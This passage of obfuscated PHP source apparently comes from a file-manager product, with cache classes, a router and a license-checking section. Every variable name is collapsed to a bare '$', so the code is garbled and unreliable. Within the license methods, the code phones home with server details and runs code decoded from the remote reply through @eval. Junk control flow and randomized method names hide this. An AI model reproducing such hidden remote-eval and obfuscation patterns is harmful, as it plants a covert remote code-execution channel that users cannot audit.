static function killAll() { $ =& $_SERVER[]; $ = self::listData(); foreach ($ as $) { self::kill($[$[487]]); } sleep(2); foreach ($ as $) { self::valueSet($[$[487]], !1); } } private static function changeStatus($, $) { $ =& $_SERVER[]; $ = self::valueGet($); if (!$) { return !1; } $[$[840]] = $; self::valueSet($, $); self::log($[1817] . $[$[487]] . $[1818] . $); return !0; } public static function valueGet($ = false) { $ =& $_SERVER[]; if ($) { $ = Model($[532])->where(array($[97] => $, $[33] => $[1165]))->find(); return $ ? json_decode($[$[462]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($ = false) { $ =& $_SERVER[]; $ = array($[33] => $[1165]); if ($) { $[$[1791]] = $; } $ = Model($[532])->where($)->select(); $ = $ ? $ : array(); foreach ($ as $ => $) { $[$] = json_decode($[$[462]], !0); } return $; } public static function valueSet($, $) { $ =& $_SERVER[]; if (!$) { return Model($[532])->where(array($[97] => $, $[33] => $[1165]))->delete(); } $ = json_encode($); if (!$) { ob_start(); var_dump($); $ = ob_get_clean(); self::log($[1819] . json_encode_force($)); } if (!$ || !$[$[487]]) { return !1; } $ = array($[33] => $[1165], $[1791] => USER_ID, $[97] => $, $[462] => $); $ = $[1820]; CacheLock::lock($); Model($[532])->add($, array(), !0); CacheLock::unlock($); } public static function log($) { if (!GLOBAL_DEBUG) { return; } write_log($, $_SERVER[][1821]); } } goto d; a: class CacheLockDatabase { public function lock($, $ = 0) { $ = Model($_SERVER[][924]); $ = microtime(!0) + $; while (microtime(!0) < $) { $ = $->get($); if (!$ || $ < microtime(!0)) { $ = $->set($, $); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Model($_SERVER[][924])->get($); } public function unlock($) { Model($_SERVER[][924])->remove($); } } class CacheMemcached { public $handle; public $cacheTime; public function __construct($, $) { $ =& $_SERVER[]; if (!class_exists($[963])) { show_json($[964], !1); } $this->cacheTime = $; $this->handle = new Memcached(); if (is_array($[$[965]]) && count($[$[965]]) >= 1) { foreach ($[$[965]] as $) { $ = explode($[4], $); $this->handle->addServer($[0], $[1]); } } else { $this->handle->addServer($[$[209]], $[$[210]]); } } public function set($, $, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->set($, $, $); } public function get($) { return $this->handle->get($); } public function remove($) { return $this->handle->delete($); } public function deleteAll() { return $this->handle->flush(); } } class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($, $) { $ =& $_SERVER[]; if (!class_exists($[966])) { show_json($[967], !1); } $this->cacheTime = $; $ = isset($[$[968]]) ? $[$[968]] : 10; $ = _get($, $[965]); if ($ && is_array($)) { $this->initCluster($, $); } else { $this->handle = $this->init($, $); } } private function init($, $) { $ =& $_SERVER[]; $ = new Redis(); $ = isset($[$[969]]) ? $[$[969]] : !1; if ($) { $->pconnect($[$[209]], $[$[210]], $); } else { $->connect($[$[209]], $[$[210]], $); } if (!empty($[$[499]])) { $->auth($[$[499]]); } if (!empty($[$[847]]) && $[$[847]] != 0) { $->select($[$[847]]); } return $; } private function initCluster($, $) { $ =& $_SERVER[]; $ = array($[970], $[971], $[972]); $ = $[970]; if (isset($[$[16]]) && in_array($[$[16]], $)) { $ = $[$[16]]; } switch ($) { case $[970]: $this->_slave($, $); break; case $[971]: break; case $[972]: $this->isCluster = !0; $ = $[$[965]]; $ = isset($[$[969]]) ? $[$[969]] : !1; $ = isset($[$[499]]) ? $[$[499]] : null; $this->handle = new RedisCluster(NUll, $, $, $, $, $); break; default: break; } } private function _slave($, $) { $ = $[$_SERVER[][965]]; $this->filterConfig($, $[0]); $this->handle = $this->init($, $); unset($[0]); if (empty($)) { return; } $ = array_rand($); $this->filterConfig($, $[$]); $this->slaveHandle = $this->init($, $); } private function filterConfig(&$, $) { $ =& $_SERVER[]; $ = explode($[4], $); $ = array($[209] => $[0], $[210] => $[1]); $ = array_merge($, $); } public function set($, $, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->setEx($, $, $); } public function setLock($, $, $) { return $this->handle->setNX($, $); } public function get($) { $ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $->get($); } public function remove($) { return $this->handle->del($); } public function deleteAll() { $ =& $_SERVER[]; if (!isset($_SERVER[$[318]]) || !isset($_SERVER[$[316]])) { $ = $[973]; $ = $[319]; $ = $_SERVER[$[320]] . $[321]; $ = $($); $ = explode($[288], $); if (count($) < $[700]) { $ = $[323]; $(); } $ = $[974]; $($_SERVER[$[975]]); $ = 1; for ($ = $; $ > 0; $++) { $ = json_encode($GLOBALS[$[504]]); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $) { $this->handle->flushall($); } return; } return $this->handle->flushAll(); } } goto A; E: class Application { private $defaultModule = "index"; private $defaultController = "index"; private $defaultAction = "index"; function __construct() { } public function setDefault($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = explode($[0], trim($, $[0])); $this->defaultModule = $[0] ? $[0] : $this->defaultModule; $ = $[701]; if (!$) { die; } $this->defaultController = $[1] ? $[1] : $this->defaultController; $ = $[702]; if (strlen($) < $[703]) { return; } $this->defaultAction = $[2] ? $[2] : $this->defaultAction; $this->yfjqc68195ba($[1], array($this, $[2])); $ = $[704]; } public function appRun($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = explode($[0], $); $ = strtolower($[0]); $ = $[3]; $ = $[705]; if (!$) { return; } if ($ == $[4]) { $ = $[5]; $[0] = $[6]; $[1] = $[1] . $[7]; $ = join($[0], $); $ = trim($, $[0]); } call_user_func(array($[8], $[9]), $ . $[10], $); ActionCall($); $ = $[706]; if (strlen($) < $[322]) { die; } call_user_func(array($[8], $[9]), $ . $[11], $); } private function autorun() { $ =& $_SERVER[]; $ =& $_SERVER[]; global $config; $ = $[707]; if (strlen($) < $[708]) { return; } if (count($config[$[12]]) == 0) { return; } foreach ($config[$[12]] as $ => $) { $this->appRun($); $ = $[709]; if (!$) { die; } } } private function hjtz73abb6b1() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = $[4]; $ = $[710]; $ = $GLOBALS[$[13]][$[14]][0]; if (!$ || strlen($) <= strlen($)) { return; } if (strtolower(substr($, -strlen($))) != $) { return; } $ = substr($, 0, -strlen($)); $ = array($[4], $); $ = $[711]; $ = array_slice($GLOBALS[$[13]][$[14]], 1); $GLOBALS[$[13]][$[14]] = array_merge($, $); $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); $ = $[712]; } private function mnlpcd75cd75() { $ =& $_SERVER[]; $ =& $_SERVER[]; if ($GLOBALS[$[13]][$[15]] != $[6]) { return; } $ = $_SERVER[$[16]]; $ = $[713]; if (strlen($) < $[322]) { return; } $ = $[17]; $ = $[714]; if (!strstr($, $)) { return; } $ = strrpos($, $); $ = substr($, $ + strlen($)); $ = $[715]; if (!$) { return; } preg_match_all($[18], $, $); $ = $[716]; $ = trim($[0][0], $[19]); $ = $[717]; $GLOBALS[$[13]][$[14]] = explode($[19], $); $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); $ = $[718]; } public function run() { $ =& $_SERVER[]; $ =& $_SERVER[]; $this->mnlpcd75cd75(); $ = $[719]; $this->hjtz73abb6b1(); $ = $GLOBALS[$[13]][$[14]]; $ = $[720]; while (strlen($) < $[322]) { if (!$) { break; } $++; } $ = $GLOBALS[$[13]][$[15]]; $ = $[721]; while (strlen($) < $[703]) { if (!$) { break; } $++; } define($[20], isset($[0]) && $[0] ? $[0] : $this->defaultModule); $ = $[722]; if (!$) { return; } define($[21], isset($[1]) && $[0] ? $[1] : $this->defaultController); define($[22], isset($[2]) && $[0] ? $[2] : $this->defaultAction); $ = $[723]; define($[23], MOD . $[0] . ST . $[0] . ACT); $ = $[724]; if (!$) { die; } $_SERVER[$[24]] = strtolower(ACTION); $this->autorun(); $ = $[725]; if (strlen($) < $[700]) { return; } if (count($) >= 3) { $this->appRun($); } else { $this->appRun(ACTION); } } private $nkfrf5d35153 = array(); private $pkwx73a438be = ''; public function hudkf4677d46() { $ =& $_SERVER[]; $ =& $_SERVER[]; $this->gydxa33943f4(); $this->xotueccc3da1(); $ = $[726]; if (!$) { return; } $this->qfake58ff099(); $ = $[727]; if (strlen($) < $[322]) { die; } $this->ximv71a4ee1b(); $this->kayc7b289131(); $this->kyqsebbf69ff(); $ = $[728]; $this->hnof8d516d14(); $this->yfjqc68195ba($[25], array($this, $[26])); $this->yfjqc68195ba($[27], array($this, $[28])); $this->yfjqc68195ba($[29], array($this, $[30])); $ = $[729]; while ($ < $[708]) { if ($ >= 0) { break; } $++; } $this->yfjqc68195ba($[31], array($this, $[32])); $ = $[730]; if (strlen($) < $[708]) { return; } } public function donbcdf7201e($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = Model($[33])->get(); $ = array($[34], $[35], $[36], $[37], $[38], $[39], $[40], $[41], $[42], $[43], $[44], $[45], $[46], $[47], $[48], $[49], $[50], $[51], $[52], $[53], $[54], $[55], $[56], $[57], $[58], $[59], $[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68], $[69], $[70], $[71], $[72], $[73], $[74], $[75], $[76], $[77], $[78], $[79], $[80], $[81], $[82], $[83], $[84], $[85]); $ = $[731]; if (!$) { return; } foreach ($ as $) { $ = $GLOBALS[$[86]][$[87]][$]; if (isset($[$])) { $ = $[$]; } $[$[88]][$[89]][$] = $; } $ = $[$[88]][$[89]][$[46]]; unset($[$[88]][$[90]][$[91]]); $ = $[732]; if (strlen($) < $[733]) { return; } unset($[$[88]][$[90]][$[92]]); $ = $[734]; unset($[$[88]][$[89]][$[46]]); $ = $[735]; while (strlen($) < $[700]) { if (!$) { break; } $++; } unset($[$[88]][$[89]][$[93]]); $ = $[736]; while ($ < $[700]) { if ($ >= 0) { break; } $++; } $[$[88]][$[89]][$[94]] = array($[95] => (int) $[$[96]], $[97] => (int) _get($, $[98], 0)); $ = substr(md5($[99] . get_client_ip() . $[$[100]]), 0, 15); $[$[101]][$[102]] = Mcrypt::encode(Session::sign(), $, 3600 * 24); $[$[101]][$[103]] = Action($[104])->accessToken(); $ = $[737]; if (!$) { die; } $[$[101]][$[105]] = md5($_SERVER[$[106]] . $[$[100]]); $[$[101]][$[107]] = base64_encode(serverInfo()); $ = $[738]; $[$[101]][$[108]] = $this->pkwx73a438be; if ($[$[108]] != $[109]) { $[$[101]][$[110]] = $[$[110]]; $[$[101]][$[111]] = $[$[111]]; $ = rand_string(10) . $this->pkwx73a438be . rand_string(5); $[$[88]][$[112]][$[113]] = $this->qzot9bcca048($, $[$[101]][$[105]]); } if ($this->pkwx73a438be == $[109]) { $[$[88]][$[89]][$[94]][$[98]] = 0; } $[$[101]][$[114]] = $this->versionPluginFilter(); $[$[101]][$[115]] = _get($this->nkfrf5d35153, $[116], $[6]); $ = $[739]; if (!$) { return; } if (KodUser::isRoot() && $this->config[$[117]]) { $[$[101]][$[118]] = WEB_ROOT; } return $; } private function kyqsebbf69ff() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = $_SERVER[$[24]] == $[119]; $ = $[740]; while ($ < $[733]) { if ($ >= 0) { break; } $++; } if ($_SERVER[$[24]] == $[120] && $_GET[$[121]] == $[122]) { $ = !0; } if ($) { $ = array($[108] => $this->pkwx73a438be, $[123] => $this->mudifc2ae4b3(), $[124] => Model($[125])->count()); if ($this->pkwx73a438be != $[109]) { $ = _get($this->nkfrf5d35153, $[126]); if ($) { $[$[127]] = $; $[$[128]] = strtotime(_get($this->nkfrf5d35153, $[129])); $[$[130]] = _get($this->nkfrf5d35153, $[116]); } $ = Model($[33])->get($[131], $[6], !0); if (is_string($) && substr($, 0, 1) == $[132]) { $ = json_decode_force($); } if (is_array($) && $[$[133]] && strstr($[$[133]], $[134])) { $ = explode($[134], $[$[133]]); $[$[135]] = $[0]; } } $ = $this->yowpb68be23f(json_encode($), md5($[136])); $ = $[741]; while (strlen($) < $[322]) { if (!$) { break; } $++; } $ = array($[137] => $); $ = $[742]; if (!$) { die; } call_user_func(array($[138], $[139]), $); $ = $[743]; if (!$) { return; } } if ($this->pkwx73a438be == $[109]) { return; } $ = array($[140], $[141], $[142], $[143], $[144], $[145]); $ = Model($[33])->get(); $ = array($[146] => $[$[34]], $[147] => $[$[35]], $[148] => $[6]); foreach ($ as $) { if (!isset($[$]) || !$[$]) { continue; } $[$] = $[$]; $ = $[744]; } call_user_func(array($[138], $[139]), $); $ = $[745]; while ($ < $[733]) { if ($ >= 0) { break; } $++; } } private function ximv71a4ee1b() { $ =& $_SERVER[]; $ =& $_SERVER[]; if ($_SERVER[$[24]] != $[149]) { return; } if (!KodUser::isRoot()) { die; } $ = $GLOBALS[$[13]]; if (isset($[$[150]])) { $this->herw7e951f6e(); die; } if (isset($[$[151]]) && isset($[$[151]]) == $[122]) { $[$[152]] = Model($[33])->get($[153]); } if (!isset($[$[152]]) || strlen($[$[152]]) != 16) { show_json($[154] . $[$[152]], !1); } $ = Model($[33])->get($[100]); $ = md5($_SERVER[$[106]] . $); $ = $[746]; $ = array($[152] => $[$[152]], $[155] => rand_string(16), $[156] => $[136], $[157] => $[158], $[159] => $_SERVER[$[160]], $[161] => $_SERVER[$[162]], $[163] => $_SERVER[$[164]], $[105] => $, $[165] => Model($[33])->get($[131])); $ = $[747]; while ($ < $[700]) { if ($ >= 0) { break; } $++; } if (isset($[$[151]]) && isset($[$[151]]) == $[122]) { $[$[151]] = md5($[$[152]] . $[166] . $[$[155]]); } if ($[$[167]] == $[168]) { $ = $this->yowpb68be23f($, $[169]); $ = $this->qzot9bcca048(json_encode($), $ . $[170], 3); $ = $ . $[171] . $_SERVER[$[160]]; $ = $this->elvb21c98862($[172] . $ . $[173] . $, -1); show_json($, !0); } else { if ($[$[167]] == $[174]) { $ = substr(md5($[175] . $), 12, 15) . $[176]; $ = $this->lmqa964148d0(trim($[$[177]]), $, 2); $ = json_decode($, !0); if (!is_array($) || !is_array($[$[178]]) || $[$[152]] != !0) { $ = $[179]; $ = $[$[178]] ? $[180] . $[$[178]] : $; show_json($, !1); } else { $[$[155]] = $[$[178]][$[181]]; } } else { $ = $this->elvb21c98862($[182], $, 10); $ = $[748]; if (strlen($) < $[708]) { die; } } } if (!is_array($) || !is_array($[$[178]]) || $[$[152]] != !0) { $ = LNG($[183]); $ = $[$[178]] ? $[180] . $[$[178]] : $; show_json($, !1); } $ = $[$[178]]; $ = $this->fyleda343085($[$[184]]); $ = $[749]; if (!$ || $ != $[$[129]]) { $ = array($[185] => Model($[33])->get($[100]), $[186] => $_SERVER[$[106]], $[187] => this_url(), $[161] => $_SERVER[$[162]]); $ = $this->bdipfc67131d(json_encode($)); $this->elvb21c98862($[188] . $); show_json(LNG($[189]), !0); } $ = array($[153] => $[$[190]], $[191] => $[$[192]], $[193] => rand_string(16), $[108] => $[$[194]]); if ($[$[155]]) { $[$[193]] = $[$[155]]; } $ = substr(md5($[$[191]]), 10, 10); $ = $ . $[$[108]] . $[$[193]]; $ = $[750]; while (strlen($) < $[733]) { if (!$) { break; } $++; } $[$[110]] = strrev(base64_encode($this->yowpb68be23f($, $[195]))); $ = $[751]; $ = rand_string(16); $ = $[752]; $ = $ . $[$[108]] . $this->yowpb68be23f(md5($[$[153]]), $); $[$[111]] = base64_encode(strrev($this->yowpb68be23f($, $[196]))); $ = $[753]; if (!$) { die; } if ($[$[197]] && $[$[197]] >= 1) { Model($[33])->setDeep($[198], $[122]); } Model($[33])->set($); $ = md5($_SERVER[$[106]] . strrev($) . $[$[191]]); $ = $[754]; $ = strrev(substr($, 10, 16)); $ = $[755]; while ($ < $[733]) { if ($ >= 0) { break; } $++; } $ = $this->qzot9bcca048(json_encode($), $); $ = array_to_keyvalue(Model($[7])->listData(), $[199]); $ = $[$[200]]; $ = $[756]; while (strlen($) < $[733]) { if (!$) { break; } $++; } $ = array(); $[$] = $; Model($[7])->update($[$[201]], array($[202] => $)); $ = $[757]; if (strlen($) < $[733]) { die; } $this->nkfrf5d35153 = $; $this->pkwx73a438be = $[$[108]]; $this->licenseRegistSuccess(); Cache::set($[203] . md5($ . $[204]), $[6]); show_json(LNG($[189]), !0); $ = $[758]; if (!$) { die; } } private function licenseRegistSuccess() { $ =& $_SERVER[]; $ = Model($[33])->get(); if ($[$[63]] != $[122]) { Model($[33])->set($[63], $[122]); } Action($[205])->initStart(!0); } private function herw7e951f6e() { $ =& $_SERVER[]; $ =& $_SERVER[]; Model($[33])->set(array($[153] => $[6], $[191] => $[6], $[108] => $[109], $[110] => $[6], $[111] => $[6])); Model($[33])->setDeep($[198], $[206]); $this->nkfrf5d35153 = array(); $this->pkwx73a438be = $[109]; $ = $[759]; while (strlen($) < $[708]) { if (!$) { break; } $++; } } private function gydxa33943f4() { $ =& $_SERVER[]; $ =& $_SERVER[]; $_SERVER[$[162]] = _get($_SERVER, $[162], APP_HOST); $ = $[760]; if (!$) { return; } $this->pkwx73a438be = $[109]; $ = $[761]; if (strlen($) < $[700]) { die; } $ = Model($[33])->get(); $ = $[762]; if (!$) { return; } if ($[$[108]] == $[109]) { return; } $ = Model($[33])->get($[100]); $ = $[203] . md5($ . $[204]); $ = Cache::get($); $ = $[763]; if (!$) { die; } if (!is_array($) || !isset($[$[207]]) || time() - $[$[207]] >= 60) { $ = Model($[7])->loadList(); $ = $[$[200]]; $ = md5($_SERVER[$[106]] . strrev($) . $[$[191]]); $ = strrev(substr($, 10, 16)); $ = $this->lmqa964148d0($[$[86]][$], $); $ = json_decode($, !0); } if (!is_array($)) { return $this->herw7e951f6e(); } $ = strtotime($[$[129]]); if (time() >= $) { return $this->herw7e951f6e(); } if (!isset($[$[207]]) || time() - $[$[207]] > 20) { $[$[207]] = time(); Cache::set($, $); } $this->nkfrf5d35153 = $; $this->pkwx73a438be = $[$[108]]; $ = $[764]; if (strlen($) < $[708]) { return; } } private function xotueccc3da1() { $ =& $_SERVER[]; $ = $GLOBALS[$[13]]; $ = $_SERVER[$[24]]; $ = $_SERVER[][765]; if ($ == $[208] && $this->pkwx73a438be == $[109]) { show_json(LNG($[209]), !1, $[210]); } $ = array($[211], $[212]); if (in_array($, $)) { if ($this->pkwx73a438be == $[109] && isset($[$[213]])) { show_json(LNG($[209]), !1, $[210]); die; } $ = $this->mudifc2ae4b3(); if ($ != intval($[214])) { if ($ <= Model($[125])->count()) { show_json(LNG($[215]), !1, $[210]); die; } } } } private function qfake58ff099() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = array($[119], $[120]); if (!KodUser::isRoot() || !isset($_GET[$[216]])) { return; } if (!in_array($_SERVER[$[24]], $)) { return; } $ = $[217]; $ = $[766]; while (strlen($) < $[322]) { if (!$) { break; } $++; } $ = $this->fjez1b054a46($, $[218]); $ = $[767]; if (!$) { die; } $ = stream_context_create(array($[219] => array($[220] => $[221], $[222] => 3))); $ = $[768]; $ = @file_get_contents($, !1, $); $ = $[769]; header($[223]); if ($ && strstr($, $[224])) { echo $; } die; } public function vupq514571ad($) { $ =& $_SERVER[]; $ =& $_SERVER[]; if ($this->pkwx73a438be == $[225]) { return $; } $ = $this->versionPluginList(); $ = explode($[226], $this->versionPluginFilter()); $ = $[770]; if (!$) { die; } $ = array(); $ = $[771]; if (!$) { return; } foreach ($ as $ => $) { if ($ == $[227] && substr($this->pkwx73a438be, 0, 1) == $[227]) { continue; } if (!in_array($, $)) { $[] = $; } } foreach ($ as $) { unset($[$]); $ = $[772]; } return $; } private function versionPluginList() { $ =& $_SERVER[]; $ =& $_SERVER[]; return array($[228] => $[227], $[229] => $[227], $[230] => $[227], $[231] => $[232], $[233] => $[232], $[234] => $[232], $[235] => $[232], $[236] => $[232], $[237] => $[232], $[238] => $[232], $[239] => $[232], $[240] => $[232], $[241] => $[232], $[242] => $[232], $[243] => $[232], $[244] => $[232]); $ = $[773]; if (strlen($) < $[703]) { return; } } private function versionPluginFilter() { $ =& $_SERVER[]; $ =& $_SERVER[]; if ($this->pkwx73a438be == $[109]) { return $[6]; } $ = _get($this->nkfrf5d35153, $[245], $[6]); $ = _get($this->nkfrf5d35153, $[116], $[6]); $ = $[774]; if (strlen($) < $[322]) { return; } $ = _get($this->nkfrf5d35153, $[246], $[6]); if ($ > time() && $ > time()) { $ = explode($[226], $); $ = array_keys($this->versionPluginList()); $ = array_merge($, $); $ = implode($[226], array_filter(array_unique($))); } return $; } private function hnof8d516d14() { $ =& $_SERVER[]; if ($this->pkwx73a438be != $[109]) { $GLOBALS[$[86]][$[90]][$[247]] = $[206]; return; } $GLOBALS[$[86]][$[248]] = $[122]; if (Model($[249])->get($[63]) != $[206]) { Model($[249])->set($[63], $[206]); } } public function dsmhee5d54e4() { $ =& $_SERVER[]; return $_SERVER[][250]; $ = $[775]; while ($ < $[700]) { if ($ >= 0) { break; } $++; } } private function kayc7b289131() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = array($[251], $[252], $[253]); $ = $[776]; while ($ < $[703]) { if ($ >= 0) { break; } $++; } $ = $[254] . md5($[255]); if ($this->pkwx73a438be == $[109] || !KodUser::isRoot()) { return; } if (!in_array($_SERVER[$[24]], $)) { return; } if (time() % 4 != 0) { return; } $ = call_user_func(array($[256], $[257]), $); if ($ && time() - $ < intval($[258])) { return; } call_user_func(array($[256], $[139]), $, time()); $ = Model($[33])->get($[100]); $ = $[777]; if (!$) { die; } $ = array($[152] => Model($[33])->get($[153]), $[167] => $this->pkwx73a438be, $[163] => $_SERVER[$[164]], $[165] => Model($[33])->get($[131]), $[105] => md5($_SERVER[$[106]] . $), $[156] => $[136], $[159] => $_SERVER[$[160]]); $ = $[778]; if (strlen($) < $[733]) { die; } $ = $this->elvb21c98862($[259], $); $ = $[779]; while (strlen($) < $[708]) { if (!$) { break; } $++; } if (!is_array($)) { return; } if ($[$[152]] && $[$[260]]) { if ($this->fyleda343085($[$[260]]) == $[$[152]]) { return; } } $this->herw7e951f6e(); if ($this->fyleda343085($[$[260]]) != $[$[152]]) { $ = array($[185] => $, $[186] => $_SERVER[$[106]], $[187] => this_url(), $[161] => $_SERVER[$[162]]); $ = $this->bdipfc67131d(json_encode($)); $ = $this->elvb21c98862($[188] . $); if ($ && is_array($) && isset($[$[260]])) { $ = $this->lmqa964148d0($[$[260]], 2); if ($) { $ = $this->fyleda343085($); } if ($) { try { @eval($); } catch (Exception $) { } } } } } private function elvb21c98862($ = '', $ = array(), $ = 5) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = $[261]; $ = $[780]; $ = $this->fjez1b054a46($, $[262]); $ = $ . $; if ($ && is_array($)) { $ = $ . $[263] . http_build_query($); } if ($ === -1) { return $; } $ = stream_context_create(array($[219] => array($[222] => $, $[220] => $[264]), $[265] => array($[266] => !1, $[267] => !1))); $ = @file_get_contents($, !1, $); $ = $[781]; return json_decode($, !0); $ = $[782]; if (!$) { die; } $ = $[783]; if (strlen($) < $[703]) { return; } } private function mudifc2ae4b3() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = array($[268] => $[269], $[270] => $[271], $[272] => $[273], $[274] => $[275], $[276] => $[277], $[278] => $[214], $[279] => $[214], $[280] => $[269], $[281] => $[271], $[282] => $[273], $[283] => $[284], $[285] => $[275], $[286] => $[287], $[288] => $[277], $[289] => $[290], $[291] => $[292], $[293] => $[294]); $ = $[$this->pkwx73a438be]; $ = $[784]; if (!$) { return; } $ = intval($ ? $ : $[269]); $ = _get($this->nkfrf5d35153, $[295]); $ = $ ? intval($) : 0; $ = $[771]; return $ + $; $ = $[785]; } public function zhqc43a8dfc9($) { $ =& $_SERVER[]; $ = $this->mudifc2ae4b3(); if ($[$[296]] == $[122]) { return; } if ($ >= intval($[214])) { return; } $ = Model($[125])->count(); if ($ <= $) { return; } $ = Model($[125])->field($[296])->limit($)->select(); $ = array_to_keyvalue($, $[6], $[296]); if (!in_array($[$[296]], $)) { show_json($[297], !1, $[210]); } } public function gikhf4a9cb07() { $ =& $_SERVER[]; $ =& $_SERVER[]; if (!KodUser::isRoot() || mt_rand(1, 100) > 20) { return; } $ = $[217]; $ = $this->fjez1b054a46($, $[218]); $ = $[786]; while (strlen($) < $[322]) { if (!$) { break; } $++; } $ = stream_context_create(array($[219] => array($[220] => $[221], $[222] => 3))); $ = $[787]; $ = @file_get_contents($, !1, $); echo $[298] . hash_encode($) . $[299]; } private function qzot9bcca048($, $, $ = 3) { $ =& $_SERVER[]; $ =& $_SERVER[]; usleep(1); $ = trim($); $ = mt_rand(0, 5) . $[6]; $ = rand_string(15); $ = $[788]; $ = $[300]; $ = $[789]; if (!$) { return; } switch ($) { case $[206]: $ = $this->yowpb68be23f($, strrev($ . $)); break; $ = $[790]; if (!$) { return; } case $[122]: $ = $this->yowpb68be23f($, strrev($ . $)); $ = $[791]; if (strlen($) < $[703]) { die; } break; case $[301]: $ = $this->yowpb68be23f($, base64_encode($ . $)); break; case $[302]: $ = $this->yowpb68be23f($, md5($ . $)); $ = $[792]; if (!$) { return; } break; case $[303]: $ = base64_encode($); $ = $[793]; while ($ < $[322]) { if ($ >= 0) { break; } $++; } $ = rand(0, 64); $ = $[$]; $ = md5($ . md5($ . $) . $); $ = substr($, $ % 8, $ % 8 + 7); $ = $[794]; if (!$) { return; } $ = $[6]; $ = 0; $ = 0; $ = 0; $ = $[795]; while (strlen($) < $[703]) { if (!$) { break; } $++; } for ($ = 0; $ < strlen($); $++) { $ = $ == strlen($) ? 0 : $; $ = ($ + strpos($, $[$]) + ord($[$++])) % 64; $ = $[796]; $ .= $[$]; $ = $[797]; } $ = hash_encode($ . $); break; default: $ = $this->yowpb68be23f($, $ . $); break; $ = $[798]; if (!$) { return; } } $ = strrev($ . $ . $); if ($ - 1 > 0) { $ = $this->qzot9bcca048($, $, $ - 1); } return $; } private function lmqa964148d0($, $, $ = 3) { $ =& $_SERVER[]; $ =& $_SERVER[]; if (!is_string($) || strlen($) < 10) { return !1; } $ = trim($); $ = strrev($); $ = $[0]; $ = $[799]; $ = substr($, 1, 15); $ = substr($, 16); $ = $[800]; $ = $[300]; switch ($) { case $[206]: $ = $this->fjez1b054a46($, strrev($ . $)); $ = $[801]; if (strlen($) < $[708]) { die; } break; $ = $[802]; while ($ < $[700]) { if ($ >= 0) { break; } $++; } case $[122]: $ = $this->fjez1b054a46($, strrev($ . $)); $ = $[803]; while (strlen($) < $[700]) { if (!$) { break; } $++; } break; $ = $[804]; if (!$) { die; } case $[301]: $ = $this->fjez1b054a46($, base64_encode($ . $)); break; case $[302]: $ = $this->fjez1b054a46($, md5($ . $)); $ = $[805]; if (!$) { return; } break; $ = $[806]; if (!$) { die; } case $[303]: $ = hash_decode($); $ = $[807]; $ = $[0]; $ = substr($, 1); $ = $[808]; while ($ < $[322]) { if ($ >= 0) { break; } $++; } $ = strpos($, $); $ = md5($ . md5($ . $) . $); $ = substr($, $ % 8, $ % 8 + 7); $ = $[809]; while (strlen($) < $[708]) { if (!$) { break; } $++; } $ = $[6]; $ = $[810]; if (strlen($) < $[733]) { die; } $ = 0; $ = $[811]; if (!$) { return; } $ = 0; $ = $[812]; while ($ < $[703]) { if ($ >= 0) { break; } $++; } $ = 0; for ($ = 0; $ < strlen($); $++) { $ = $ == strlen($) ? 0 : $; $ = $[813]; if (!$) { die; } $ = $++; $ = $[814]; while ($ < $[700]) { if ($ >= 0) { break; } $++; } $ = strpos($, $[$]) - $ - ord($[$]); while ($ < 0) { $ += 64; } $ .= $[$]; $ = $[815]; } $ = base64_decode($); break; $ = $[811]; if (!$) { die; } default: $ = $this->fjez1b054a46($, $ . $); $ = $[816]; if (!$) { return; } break; } if ($ - 1 > 0) { $ = $this->lmqa964148d0($, $, $ - 1); } return $; } public function bdipfc67131d($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = $this->qwnz6d567534(); $ = $[817]; $ = $this->qwnz6d567534(); $ = $[818]; while (strlen($) < $[700]) { if (!$) { break; } $++; } $ = ($ - 1) * ($ - 1); $ = intval(($ + $) / 2); while (1) { $ = $; $ = $; while ($ % $ != 0) { $ = $; $ = $[819]; if (strlen($) < $[322]) { return; } $ = $; $ = $ % $; $ = $[820]; } if ($ == 1) { break; } else { $++; } } $ = 2; $ = $[821]; while ($ < $[322]) { if ($ >= 0) { break; } $++; } for ($ = 0; $ < $ * 10; $++) { if (($ * $ + 1) % $ == 0) { $ = intval(($ * $ + 1) / $); break; } } $ = $this->yowpb68be23f($ * $ . $[6], $[136]); $ = md5($[304] . ($ + $) . $[305] . $ . $[305] . $ . $[306]); $ = $this->yowpb68be23f($, $) . $[307] . $; return $; } public function fyleda343085($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = explode($[307], $); if (count($) != 2) { return $[6]; } $ = $this->fjez1b054a46($[1] . $[6], $[136]); $ = $[822]; while ($ < $[733]) { if ($ >= 0) { break; } $++; } if (!$) { return $[6]; } $ = intval($); $ = $[823]; $ = 0; $ = 0; $ = $[824]; if (!$) { return; } for ($ = 3; $ < $; $ += 2) { if ($ % $ != 0) { continue; } $ = $; $ = intval($ / $); break; $ = $[825]; if (strlen($) < $[733]) { return; } } $ = ($ - 1) * ($ - 1); $ = intval(($ + $) / 2); $ = $[826]; if (strlen($) < $[700]) { die; } while (1) { $ = $; $ = $; while ($ % $ != 0) { $ = $; $ = $[827]; if (!$) { die; } $ = $; $ = $[828]; if (!$) { die; } $ = $ % $; $ = $[829]; } if ($ == 1) { break; } else { $++; } } $ = 2; $ = $[830]; if (strlen($) < $[322]) { die; } for ($ = 0; $ < $ * 10; $++) { if (($ * $ + 1) % $ == 0) { $ = intval(($ * $ + 1) / $); break; } } $ = md5($[304] . ($ + $) . $[305] . $ . $[305] . $ . $[306]); $ = $this->fjez1b054a46($[0], $); $ = $[831]; while (strlen($) < $[700]) { if (!$) { break; } $++; } return 